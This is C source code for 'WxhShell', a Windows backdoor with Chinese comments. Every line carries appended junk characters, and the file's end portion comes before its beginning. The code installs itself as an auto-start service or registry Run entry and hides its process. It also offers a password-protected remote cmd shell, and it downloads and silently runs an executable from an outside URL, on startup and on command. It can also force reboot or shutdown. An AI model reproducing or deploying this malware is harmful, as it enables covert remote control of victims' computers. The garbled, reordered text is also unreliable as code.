  // 关机 v|jwz.jM  
  case 'd': { 9om}j  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); k4^!"~<+0  
    if(Boot(SHUTDOWN)) S6_dmTV*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1vq c8lC  
    else { w'mn O'%  
    closesocket(wsh); 78]( ZYJV  
    ExitThread(0); ' (3|hh)Tl  
    } cz$*6P<9J  
    break; 1=~##/at  
    } 0Yr-Q;O<f  
  // 获取shell OPv~1h<[  
  case 's': { e4.G9(  
    CmdShell(wsh); :<1PCX2  
    closesocket(wsh); =RlAOgJ  
    ExitThread(0); >k~3W> D  
    break; )S@TYzdAN  
  } SK,UW6h  
  // 退出 ,twm)%caU  
  case 'x': { G49`a*Jn  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); qx?0]!x  
    CloseIt(wsh); WOYN% 0#  
    break; nfE4rIE4  
    } >[P`$XkXd4  
  // 离开 _o>?\:A  
  case 'q': { ;4`%?6%  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); T@r%~z  
    closesocket(wsh); QKt{XB6Y  
    WSACleanup(); Cg^1(dBd[9  
    exit(1); dQNW1-s  
    break; XIp>PcU^  
        } pJ@->V_  
  } ksAu=X:  
  } njb{   
"?"+1S  
  // 提示信息 O[9A}g2~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,sp((SF]1  
} qa?0GTAS  
  } V%FWZn^  
]sB%j@G  
  return; a7la CHI  
} :HH3=.qAp`  
j$z!kd+%  
// shell模块句柄 /@LUD=  
int CmdShell(SOCKET sock) =UZQ` {  
{ X@:@1+U  
STARTUPINFO si; x J\>;$CY  
ZeroMemory(&si,sizeof(si)); 14h0$7  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; N[xa=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; NHaqT@:  
PROCESS_INFORMATION ProcessInfo; 2>kk6=<5'  
char cmdline[]="cmd"; T2 XLP  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); l-6W]\v Z  
  return 0; -8Uz8//A  
} XILreATK@  
M#SGZ~=1r  
// 自身启动模式 :g)`V4%  
int StartFromService(void) hx;0h&L  
{ 7qhX `$  
typedef struct H\=S_b1wo  
{ -JXCO <~k  
  DWORD ExitStatus; 9Pdol!  
  DWORD PebBaseAddress; ;0O>$|kg  
  DWORD AffinityMask; Q::_i"?c  
  DWORD BasePriority; _Xfn  
  ULONG UniqueProcessId; h09fU5l  
  ULONG InheritedFromUniqueProcessId; S&Sa~Oq<o  
}   PROCESS_BASIC_INFORMATION; CVGQ<,KVW  
,4S6F HK  
PROCNTQSIP NtQueryInformationProcess; OZ Hfd7K4A  
+^ |=MK%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Iv>4o~t  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; u 9kh@0  
JS(%:  
  HANDLE             hProcess; lXu6=r  
  PROCESS_BASIC_INFORMATION pbi; :v8~'cZ  
$`|\aXd[C*  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >8w=Vlp  
  if(NULL == hInst ) return 0; GFYHt!&[\  
c+G%o8  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); sN@=Ri?\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ko`KAU<T_  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); SfGl*2  
?w>-ya  
  if (!NtQueryInformationProcess) return 0; `:fh$V5J>  
N=TDywRI  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `SG8w_  
  if(!hProcess) return 0; QfI@=Kbg%#  
HD8*>p.  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Rj])c^ZA'*  
!mu1e=bY>  
  CloseHandle(hProcess); 7\EY&KI"0  
ifcC [.im  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); m4'x>Z  
if(hProcess==NULL) return 0; #CNK [y  
NFBhnNH+  
HMODULE hMod; #;s5=aH  
char procName[255]; pLsWy&G  
unsigned long cbNeeded; UO_tJN#X  
5>S)+p  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Jm]P,jaLc  
ECLQqjB  
  CloseHandle(hProcess); &&`-A6`p  
unAu8k^  
if(strstr(procName,"services")) return 1; // 以服务启动 0GMov]W?i  
vQ1#Zg y  
  return 0; // 注册表启动 > ZKHjw  
} V})b.\"F  
`fq#W#Pu  
// 主模块 '\/|K  
int StartWxhshell(LPSTR lpCmdLine) L(_bf/ @3  
{ ac#I $V-  
  SOCKET wsl; a>BPK"K2  
BOOL val=TRUE; rFG_CC2  
  int port=0; <g{d >j  
  struct sockaddr_in door; ;hJz'&UWQ  
P] qL&_  
  if(wscfg.ws_autoins) Install(); \CZD.2p#&  
NrWgaPO)i  
port=atoi(lpCmdLine); =4:]V\o):'  
)o_Pnq9_  
if(port<=0) port=wscfg.ws_port; 1'BC R  
`z?h=&N  
  WSADATA data; ) 0|X];sD  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [F}_Ime  
[IPXU9& Q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Ae_:Kc6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ExZ|_7^<  
  door.sin_family = AF_INET; +`'>   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); >4]y)df5  
  door.sin_port = htons(port); !A&>Eeai  
@ACq:+/Q c  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { zF#:Uc`C5U  
closesocket(wsl); SuFGIb7E  
return 1; rtZEK:.#  
} V D.T=(  
fW3NH7aUG  
  if(listen(wsl,2) == INVALID_SOCKET) { >A ?,[p`<  
closesocket(wsl); N 2$uw@s  
return 1; %O\zYtQR  
} \??20iz  
  Wxhshell(wsl); Q;y)6+VU4  
  WSACleanup(); 3u~V&jl  
%v, a3^Qu  
return 0; G)3Q|Vc  
P|QM0GI  
} 4~Jg\@  
J @^Ypq  
// 以NT服务方式启动 #B!<gA$/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) tlpTq\;  
{ JbXd9AMh2  
DWORD   status = 0; ^H~g7&f9?N  
  DWORD   specificError = 0xfffffff; 8Ao pI3  
W|AK"vf  
  serviceStatus.dwServiceType     = SERVICE_WIN32; GVld]ioycG  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; f7oJ6'K  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ],l\HHQ  
  serviceStatus.dwWin32ExitCode     = 0;  } @4by<  
  serviceStatus.dwServiceSpecificExitCode = 0; TWSx9ii!M:  
  serviceStatus.dwCheckPoint       = 0; 2OsS+6,[x  
  serviceStatus.dwWaitHint       = 0; !6*m<#Qm  
W>y &  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }5]7lGR  
  if (hServiceStatusHandle==0) return; 9oTtH7%  
/#g P#Z%  
status = GetLastError(); B*AB@  
  if (status!=NO_ERROR) o3(:R0  
{ Vi'zSR28Z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Tga%-xr+  
    serviceStatus.dwCheckPoint       = 0; %ZM"c  
    serviceStatus.dwWaitHint       = 0; 1}ws@hU  
    serviceStatus.dwWin32ExitCode     = status; nUf0TkA  
    serviceStatus.dwServiceSpecificExitCode = specificError; >Q[3t79^  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^:Fj+d  
    return; ,j e  
  } f:KZP;/[c  
\t?rHB3"  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; QyD(@MFxb  
  serviceStatus.dwCheckPoint       = 0; *1g3,NMA  
  serviceStatus.dwWaitHint       = 0; xzz0uk5  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); XS=f>e1<W  
} }0AoV&75  
@|EWif|  
// 处理NT服务事件,比如:启动、停止 DAf0bh"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) jhH&}d9  
{ ) m(!lDz3  
switch(fdwControl) g+3_ $qIQ+  
{ A\ r}V-  
case SERVICE_CONTROL_STOP: <7_s'UAL!  
  serviceStatus.dwWin32ExitCode = 0; R^&.:;Wi>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; =hi{J M  
  serviceStatus.dwCheckPoint   = 0; qijQRxS  
  serviceStatus.dwWaitHint     = 0; ,Rdw]O  
  { (CInt_dBw~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); o^v]d7I8b  
  } xv~Sk2Z+d  
  return; rr]-$]Q  
case SERVICE_CONTROL_PAUSE: p9![8VU  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 8,-U`.  
  break; K@tELYb  
case SERVICE_CONTROL_CONTINUE: -S7i':  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; gubw&W  
  break; 1 RVs!;  
case SERVICE_CONTROL_INTERROGATE: d'@i8N["{  
  break; 00/ RBs 5  
}; Q$b4\n?44  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $V,ZH* g  
} m,V"S(A  
Q%x-BZb~  
// 标准应用程序主函数 `PZcL2~E  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6k`O  
{ [C{oj*"c]  
3L:SJskYR  
// 获取操作系统版本 mwO9`AU;  
OsIsNt=GetOsVer(); ujS C  
GetModuleFileName(NULL,ExeFile,MAX_PATH); w_#C8}2  
){*9$486  
  // 从命令行安装 epgAfx-_OH  
  if(strpbrk(lpCmdLine,"iI")) Install(); & tjL*/  
7ygz52  
  // 下载执行文件 ^~^=$fz  
if(wscfg.ws_downexe) { h?p!uQ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {LBL8sG  
  WinExec(wscfg.ws_filenam,SW_HIDE); Jw0I$W/  
} wizLA0W  
kK=f@l  
if(!OsIsNt) { @*BVS'\  
// 如果时win9x,隐藏进程并且设置为注册表启动 z||FmL{  
HideProc(); ||Vx:(d7D&  
StartWxhshell(lpCmdLine); Qt>Bvu Q  
} $kccM& B  
else `#4q7v~>oe  
  if(StartFromService()) VUC_|=?dL  
  // 以服务方式启动 /sr. MT  
  StartServiceCtrlDispatcher(DispatchTable); yVWt%o/  
else -J>f,zA  
  // 普通方式启动 d)GR]^=r  
  StartWxhshell(lpCmdLine); 5E^P2Mlc  
(dwb{+HW  
return 0; RQU-]qQ8BM  
} !uP8powO  
pZKK7   
!m8T< LtMl  
2=,d.1E3d  
=========================================== ;gLOd5*0  
YmD~&J  
e[6Me[b  
IV~5Y{(l  
XZrzG P(  
V/tl-;W  
" ki|OowP  
vI]V@i l  
#include <stdio.h> =R*IOJ  
#include <string.h> p-*{x  
#include <windows.h> =^z*p9ZB  
#include <winsock2.h> *onVG5<  
#include <winsvc.h> ; W$.>*O  
#include <urlmon.h> .E;}.X  
Ld 0j!II(  
#pragma comment (lib, "Ws2_32.lib") `4wy *!]  
#pragma comment (lib, "urlmon.lib") 0-p %.}GE  
5t|$Yt[  
#define MAX_USER   100 // 最大客户端连接数 LI>Bl  
#define BUF_SOCK   200 // sock buffer <?%49  
#define KEY_BUFF   255 // 输入 buffer :XOjS[wBm  
%4})_h?j  
#define REBOOT     0   // 重启 KQ0f2?  
#define SHUTDOWN   1   // 关机 udPLWrPF\  
pm2]  
#define DEF_PORT   5000 // 监听端口 f8-~&N/_R  
,6ae='=d  
#define REG_LEN     16   // 注册表键长度 Fb ~h{  
#define SVC_LEN     80   // NT服务名长度 qe/5'dw  
u q A!#E  
// 从dll定义API zXk^u gFy  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); / 2MhP=,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); WBR# Ux  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "n{JH9sA:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); l!": s:/'  
bl{W{?QI  
// wxhshell配置信息 !Ej?9LHo  
struct WSCFG { [LrO"9q(  
  int ws_port;         // 监听端口 zb s7G  
  char ws_passstr[REG_LEN]; // 口令 VVfTFi<  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9%2h e)Yqc  
  char ws_regname[REG_LEN]; // 注册表键名 92~$Qa\S!  
  char ws_svcname[REG_LEN]; // 服务名 (a"/cH  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 sGE %zCB  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 OW#G{#.6R  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ";^_[n  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 7Rd(,eWE@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" qDgy7kkQ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 T8^l}Y B  
ErFt5%FN.O  
}; I8|"h8\  
> w SI0N  
// default Wxhshell configuration MRT<hB  
struct WSCFG wscfg={DEF_PORT, ]Bs{9=2  
    "xuhuanlingzhe", FGeKhA 8jT  
    1, aGAr24]y  
    "Wxhshell", r.c:QY$  
    "Wxhshell", ;p87^:  
            "WxhShell Service", x6ayFq=  
    "Wrsky Windows CmdShell Service", 5Q:%f  
    "Please Input Your Password: ", &da:{  
  1, 'j!n   
  "http://www.wrsky.com/wxhshell.exe", u95D0S  
  "Wxhshell.exe" qpzyl~g:C  
    }; M!X^2  
(EH}lh }%  
// 消息定义模块 @z:E]O}  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; L uW""P/  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Ucz=\dO1  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2`A[<S  
char *msg_ws_ext="\n\rExit."; RL H!f1cta  
char *msg_ws_end="\n\rQuit."; W$W w/mcl+  
char *msg_ws_boot="\n\rReboot..."; Fl*<N  
char *msg_ws_poff="\n\rShutdown..."; nWh f  
char *msg_ws_down="\n\rSave to "; hZWkw{c  
eU.C<Tv:8  
char *msg_ws_err="\n\rErr!"; 2B5Ez,'#x  
char *msg_ws_ok="\n\rOK!"; o_5[}d  
n/e,jw  
char ExeFile[MAX_PATH]; $GHi9aj_P  
int nUser = 0; FF0~i+5  
HANDLE handles[MAX_USER]; \GKR(~f  
int OsIsNt; gSf >+|  
^z~drcR  
SERVICE_STATUS       serviceStatus; 1 |/ |Lq%w  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; h")7kjM  
\7%wJIeyx  
// 函数声明 HVzkS|^F  
int Install(void); ;=1[D  
int Uninstall(void); 4UK>Vzn  
int DownloadFile(char *sURL, SOCKET wsh); :Ys ;)W+R  
int Boot(int flag); X":2o|R  
void HideProc(void); d= ?lPEzSA  
int GetOsVer(void); Z?WVSJUVf  
int Wxhshell(SOCKET wsl); s(e1kk}"  
void TalkWithClient(void *cs); p*Yx1er1  
int CmdShell(SOCKET sock); 4n1 g@A=y  
int StartFromService(void); t;u)_C,bmP  
int StartWxhshell(LPSTR lpCmdLine); N8=-=]0G  
aOQT-C[ O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); keStK8  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); f1?%p)C  
wA6E7vi'  
// 数据结构和表定义 -B(p8YH  
SERVICE_TABLE_ENTRY DispatchTable[] = 1QnaZhu'  
{ ):A.A,skf  
{wscfg.ws_svcname, NTServiceMain}, _;:_ !`  
{NULL, NULL} [;o>q;75Jz  
}; sbFIKq]  
t~BWN  
// 自我安装 vsQvJDna~  
int Install(void) _>r (T4}]  
{ jhBfy|Ftu  
  char svExeFile[MAX_PATH]; *pABdP+  
  HKEY key; %!A-K1Z\D  
  strcpy(svExeFile,ExeFile); InRcIQT  
L3 KJ~LI  
// 如果是win9x系统,修改注册表设为自启动 ;0NJX)GL  
if(!OsIsNt) { c#>:U,j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C5jt(!pi  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #r1y|)m`  
  RegCloseKey(key); }5}>B *  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F8M};&=*1r  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); EMdU4YnE"  
  RegCloseKey(key); qT&zg@m  
  return 0; oel?we6  
    } wD W/?lT&  
  } M(uJ'Ud/!  
} 73_-7'^mQ  
else { ;e9&WEG_\  
+_QcLuV,  
// 如果是NT以上系统,安装为系统服务 XQmg^x[,A  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); .[s6PzQy  
if (schSCManager!=0) 52^,qP'6  
{ 1]vDM&9  
  SC_HANDLE schService = CreateService ?_ v_*+b_  
  ( ; 7QG]JX  
  schSCManager, rFUd  
  wscfg.ws_svcname, Og8%SnEpMI  
  wscfg.ws_svcdisp, JXR]G  
  SERVICE_ALL_ACCESS, 1/6}E]-F  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , DF-.|-^9I  
  SERVICE_AUTO_START, sP~xe(  
  SERVICE_ERROR_NORMAL, /CbiYm  
  svExeFile, kV8qpw}K  
  NULL, _lRIS_^;eE  
  NULL, +}:2DXy@  
  NULL, 3df5 e0  
  NULL, 6E(..fo:"  
  NULL _c-(T&u<  
  ); 0%,?z`UY  
  if (schService!=0) CkNh3'<wg  
  { +Fh,!`  
  CloseServiceHandle(schService); 3II*NANeg  
  CloseServiceHandle(schSCManager); I :bT"N  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); u yE#EnsH  
  strcat(svExeFile,wscfg.ws_svcname); q-,`\ TS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Nus]]Iy-g  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); rV?@Kgxi  
  RegCloseKey(key); C)UU/4a;  
  return 0; 0kw)-)=  
    } (m=1yj9  
  } Eb CK9  
  CloseServiceHandle(schSCManager); A"R(?rQi=  
} ][YuJUK8  
} {M= *>P]E  
7s;;2<k;_  
return 1; XN{zl*`  
} a:4!z;2 |  
i CB:p  
// 自我卸载 4Y4zBD=<  
int Uninstall(void) @RL'pKab9  
{ u:B=lZ[  
  HKEY key; +rhBC V  
K}GR U)  
if(!OsIsNt) { Prc1U)nfo  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /x_AWnU  
  RegDeleteValue(key,wscfg.ws_regname); F IB)cpo  
  RegCloseKey(key); Y]5MM:mI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `)MKCw$e  
  RegDeleteValue(key,wscfg.ws_regname); q!~DCv df  
  RegCloseKey(key); >;VZB/ d  
  return 0; #q-fRZ:P  
  } TefPxvd  
} /s+S\ djk  
} -"^xg"  
else { rhly.f7N=A  
;E>#qYC6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); LB9W.cA   
if (schSCManager!=0) T21?~jS  
{ c\O2|'JzE  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !| - U,  
  if (schService!=0) zJ:%iL@  
  { 4X+I2CD  
  if(DeleteService(schService)!=0) { ]\k& l ['  
  CloseServiceHandle(schService); <'7s3  
  CloseServiceHandle(schSCManager); %?[0G,JG  
  return 0; m`]d`%Ex  
  } o02G:!gB  
  CloseServiceHandle(schService); }U4mXkZF  
  } iM9^.  
  CloseServiceHandle(schSCManager); oTcf[<   
} EWv[Sp  
} ;d_<6|*M  
<=w!:   
return 1; !4 lN[  
} kg,\l9AM  
u,N<U t  
// 从指定url下载文件 ]1W]  
int DownloadFile(char *sURL, SOCKET wsh) )r)ZmS5O  
{ 8#o2qQ2+  
  HRESULT hr; \w(0k^<7  
char seps[]= "/"; Cb.M  
char *token; */K]sQZa  
char *file; og&h$<uOZt  
char myURL[MAX_PATH]; LnsYtkb r  
char myFILE[MAX_PATH]; Q&"oh  
y0/FyQs  
strcpy(myURL,sURL); ` K0PLxSv  
  token=strtok(myURL,seps); 6BM$u v4  
  while(token!=NULL) S1m5z,G  
  { #EB Rc4>,  
    file=token; D(&WEmm\B  
  token=strtok(NULL,seps); F~bDg tN3  
  } Kc#1H|'2N  
iM6(bmc.  
GetCurrentDirectory(MAX_PATH,myFILE); b*{UO  
strcat(myFILE, "\\"); Np+pJc1  
strcat(myFILE, file); uY/C iTWr  
  send(wsh,myFILE,strlen(myFILE),0); ra_v+HR7  
send(wsh,"...",3,0); j'hWhLax  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \=&Z_6Mu  
  if(hr==S_OK) Gi2Fjq/Y  
return 0; *Tr{a_{~C  
else 8F's9c,  
return 1; OjqT5<U  
EQ|Wke  
} L .}sN.  
Kxz|0l  
// 系统电源模块 ~ t N/  
int Boot(int flag) BglbQ'6p  
{ UISsiiG(  
  HANDLE hToken; .3cD.']%  
  TOKEN_PRIVILEGES tkp; D";clP05K  
|L:X$oM  
  if(OsIsNt) { .WuSW[g  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); OK47Q{.gh  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /q'-.-bo  
    tkp.PrivilegeCount = 1; (NJ.\m  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -dfs8[i  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); GMoz$c6n_  
if(flag==REBOOT) { #CB Kt,  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) jc#gn& 4C  
  return 0; 9RkNRB)8  
} wx!2/I>  
else { 9- 24c  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3a=\$x@  
  return 0; 5j9%W18  
} o=xMaA  
  } m@0> =s~.  
  else { t=s.w(3t  
if(flag==REBOOT) { ziM@@$ .F  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) kmtkh "  
  return 0; `9P`f4x  
} b@K1;A! S  
else { eIN0 T;1T  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) P7l3ZH( g  
  return 0; t -fmA?\  
} Sl% 6F!  
} /;E=)(w  
:_,3")-v  
return 1; . NxskXq)  
} WORRF  
E0DquVrz  
// win9x进程隐藏模块 giW9b_  
void HideProc(void) I }8b]  
{ )a `kL,  
g@Y]$ey%A  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); kVG+Wr7l0F  
  if ( hKernel != NULL ) HnsLYY\  
  { BqdpJIr  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); e+>$4Jq  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); n1PvZ~^3  
    FreeLibrary(hKernel); yw89*:A6  
  } bMv[.Z@v(  
\%V !& !'  
return; S?OCy4dk:  
} Z/4bxO=m  
"s(|pQh;  
// 获取操作系统版本 ~lqNWL^l  
int GetOsVer(void) j7NOYm5N  
{ Z J1@z.  
  OSVERSIONINFO winfo; !:tr\L {  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); I#7H)^us  
  GetVersionEx(&winfo); D-x*RRkpp  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Ra:UnA  
  return 1; vmo!  
  else [ <k&]Kv  
  return 0; BJ fBY H,M  
} 5D XBTpCVM  
LCq1F(q  
// 客户端句柄模块 zTi 8y<}  
int Wxhshell(SOCKET wsl) =5YbK1Q^  
{ j X*gw6!  
  SOCKET wsh; + [$Td%6  
  struct sockaddr_in client; jyidNPLm4  
  DWORD myID; t2rZ%[O  
r@wE?hK  
  while(nUser<MAX_USER) %*IH~/Ld;]  
{ `49!di[  
  int nSize=sizeof(client); 3Ljj|5.q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^BW8zu@=O  
  if(wsh==INVALID_SOCKET) return 1; wgq=9\+&  
ejbtdU8N<  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !X-ThKEq  
if(handles[nUser]==0) eiRVw5g  
  closesocket(wsh); WH fl|e  
else -_]Ceq/  
  nUser++; 7vI ROK~  
  } e:_[0#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); mmCGIX  
lTtc#  
  return 0; C+mPl+}w  
} D}-HWJQA3  
P*hYh5a  
// 关闭 socket bQI.Qk  
void CloseIt(SOCKET wsh) w6^TwjjZ$  
{ 9[`\ZGWD  
closesocket(wsh); f2v~: u  
nUser--; (#>Q#Izr  
ExitThread(0); ,jD-fL/:  
} .f!:@fX>=  
G%h+KTw  
// 客户端请求句柄 7;?7q  
void TalkWithClient(void *cs) f3:dn7  
{ RK)ikLgp  
|I|,6*)xg  
  SOCKET wsh=(SOCKET)cs; KxfH6:\RB  
  char pwd[SVC_LEN]; 9C5F#(uY  
  char cmd[KEY_BUFF]; ^W^Y"0y9`  
char chr[1]; ?iHcY,  
int i,j; r'XWt]B+[  
T?`Ha\go  
  while (nUser < MAX_USER) { zn|O)"C  
vB5mOXGNq  
if(wscfg.ws_passstr) { [?g}<fa  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pK/RkA1  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yWr &G@>G  
  //ZeroMemory(pwd,KEY_BUFF); r"\<+$ 7  
      i=0; GW%!?mJ  
  while(i<SVC_LEN) { *GdJ<B$  
%0 U@k!lP  
  // 设置超时 OGq=OW  
  fd_set FdRead; %Rk0sfLvn  
  struct timeval TimeOut; 2o W'B^-  
  FD_ZERO(&FdRead); tlI]);iE,  
  FD_SET(wsh,&FdRead); *ODc[k'(  
  TimeOut.tv_sec=8; <UGM/+aO  
  TimeOut.tv_usec=0; ygUX]*m!  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !L/.[:X  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (+BrC`  
f;&XTF5D^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vH E:TQo4  
  pwd=chr[0]; gAsjkNt?  
  if(chr[0]==0xd || chr[0]==0xa) { 87KSV"IU8  
  pwd=0; ZOx;]D"s  
  break; UM0#S}  
  } 5D3&6DCH  
  i++; M[_Ptqjb  
    } |47 2X&e  
2t=&h|6EW  
  // 如果是非法用户,关闭 socket 2{g&9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {WeRFiQ?-  
} (?.h<v1}  
EvA8<o  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); " ;\EU4R  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +hH7|:JQ  
&@PAv5iNf  
while(1) { i A'p!l |P  
'p%w_VbI  
  ZeroMemory(cmd,KEY_BUFF); =H}}dC<)  
YC*`n3D|'  
      // 自动支持客户端 telnet标准   !Uhcjfq`e  
  j=0; X-j<fX_  
  while(j<KEY_BUFF) { M?['HoRo  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s(MdjWw  
  cmd[j]=chr[0]; 90H/Txq  
  if(chr[0]==0xa || chr[0]==0xd) { ;BHIss7  
  cmd[j]=0; \z.p [;'ir  
  break; |I.5]r-EK  
  } [[}ukG4  
  j++; -, $:^4  
    } oiz]Bd  
z34+1d  
  // 下载文件 Z_T~2t  
  if(strstr(cmd,"http://")) { ^vOEG;TR<-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5?E;Yy A  
  if(DownloadFile(cmd,wsh)) ZCfd<NS?  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %r:4'$E7|  
  else KkR.p,/  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Lk-h AN{[  
